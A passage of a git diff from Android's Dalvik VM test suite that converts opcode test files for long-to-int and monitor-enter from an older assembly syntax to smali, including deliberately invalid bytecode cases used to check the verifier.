-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_4.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali
new file mode 100644
index 0000000..37256cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_4.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d
deleted file mode 100644
index 5b65864..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_5.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali
new file mode 100644
index 0000000..7041b5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_5.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d
deleted file mode 100644
index ad412f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_6.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-       move v0, v7
-       move v1, v7
-       long-to-int v0, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali
new file mode 100644
index 0000000..264500d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_6.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+       move v0, v7
+       move v1, v7
+       long-to-int v0, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d
deleted file mode 100644
index eb443b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d
+++ /dev/null
@@ -1,63 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_1.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1
-.super java/lang/Object
-
-.field public counter I
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-
-       const/4 v0, 0
-
-       iput v0, v1, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-       monitor-enter v7
-Label8:
-       iget v1, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-
-       const-wide/16 v3, 500
-       invoke-static {v3, v4}, java/lang/Thread/sleep(J)V
-       
-       iget v2, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       
-       if-ne v1, v2, Label0
-       
-       add-int/lit8 v1, v1, 1
-       iput v1, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       monitor-exit v7
-Label24:
-       return-void
-Label0:
-       const/4 v5, -1
-       iput v5, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       monitor-exit v7
-       return-void
-       
-Label25:
-       move-exception v3
-       monitor-exit v7
-       const/4 v5, -1
-       iput v5, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       throw v3
-.catch all from Label8 to Label24 using Label25
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali
new file mode 100644
index 0000000..f1879c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_1.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;
+.super  Ljava/lang/Object;
+
+.field public counter:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+
+       const/4 v0, 0
+
+       iput v0, v1, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+       monitor-enter v7
+:Label8
+       iget v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+
+       const-wide/16 v3, 500
+       invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
+       
+       iget v2, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       
+       if-ne v1, v2, :Label0
+       
+       add-int/lit8 v1, v1, 1
+       iput v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+:Label24
+       return-void
+:Label0
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+       return-void
+       
+:Label25
+       move-exception v3
+       monitor-exit v7
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       throw v3
+.catchall {:Label8 .. :Label24} :Label25
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d
deleted file mode 100644
index 2e7fc6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d
+++ /dev/null
@@ -1,85 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_2.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2
-.super java/lang/Object
-
-.field private flg I
-.field public result Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 0
-       iput v2, v3, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 10
-
-       monitor-enter v8
-Label13:
-       monitor-enter v8
-Label14:
-
-       iput v9, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-       
-Label16:
-       monitor-exit v8
-Label20:
-
-       const-wide/16 v4, 500
-
-Label22:
-       invoke-static {v4, v5}, java/lang/Thread/sleep(J)V
-Label23:
-
-       iget v1, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-
-       if-eq v1, v9, Label35
-
-       const/4 v5, 0
-       iput-boolean v5, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-       
-Label35:
-       monitor-exit v8
-Label37:
-       return-void
-       
-       
-Label46:
-       move-exception v4
-
-       const/4 v6, 0
-       iput-boolean v6, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-
-       monitor-exit v8
-Label53:
-       throw v4
-       
-.catch all from Label13 to Label14 using Label46
-.catch all from Label16 to Label20 using Label46
-.catch all from Label22 to Label23 using Label46
-.catch all from Label35 to Label37 using Label46
-.catch all from Label46 to Label53 using Label46
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali
new file mode 100644
index 0000000..d6e3b69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali
@@ -0,0 +1,85 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_2.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;
+.super  Ljava/lang/Object;
+
+.field private flg:I
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 0
+       iput v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       return-void
+.end method
+
+.method public run(I)V
+.registers 10
+
+       monitor-enter v8
+:Label13
+       monitor-enter v8
+:Label14
+
+       iput v9, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+       
+:Label16
+       monitor-exit v8
+:Label20
+
+       const-wide/16 v4, 500
+
+:Label22
+       invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
+:Label23
+
+       iget v1, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       if-eq v1, v9, :Label35
+
+       const/4 v5, 0
+       iput-boolean v5, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       
+:Label35
+       monitor-exit v8
+:Label37
+       return-void
+       
+       
+:Label46
+       move-exception v4
+
+       const/4 v6, 0
+       iput-boolean v6, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+
+       monitor-exit v8
+:Label53
+       throw v4
+       
+.catchall {:Label13 .. :Label14} :Label46
+.catchall {:Label16 .. :Label20} :Label46
+.catchall {:Label22 .. :Label23} :Label46
+.catchall {:Label35 .. :Label37} :Label46
+.catchall {:Label46 .. :Label53} :Label46
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d
deleted file mode 100644
index 9ad99fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_3.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const/4 v5, 0
-       monitor-enter v5
-       monitor-exit v5
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali
new file mode 100644
index 0000000..bb5bd5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_3.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const/4 v5, 0
+       monitor-enter v5
+       monitor-exit v5
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d
deleted file mode 100644
index 5b3469d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_4.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       monitor-enter v6
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali
new file mode 100644
index 0000000..62b5db8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_4.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       monitor-enter v6
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d
deleted file mode 100644
index 7078aa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_5.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const v5, 12345
-       monitor-enter v5
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali
new file mode 100644
index 0000000..fd33bdc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_5.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v5, 12345
+       monitor-enter v5
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d
deleted file mode 100644
index 754a9e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_6.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const v5, 1.23
-       monitor-enter v5
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali
new file mode 100644
index 0000000..44c52ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_6;
+.super Ljava/lang/Object;
+.source "T_monitor_enter_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    const p0, 0x3f9d70a4    # 1.23f
+
+    monitor-enter p0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d
deleted file mode 100644
index 8fb7791..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_7.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const-wide v4, 123456789321
-       monitor-enter v4
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali
new file mode 100644
index 0000000..4b0e5cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_7;
+.super Ljava/lang/Object;
+.source "T_monitor_enter_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 6
+
+    const-wide v4, 0x1cbe991b49L
+
+    monitor-enter v4
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d
deleted file mode 100644
index 3d45716..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_8.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_8
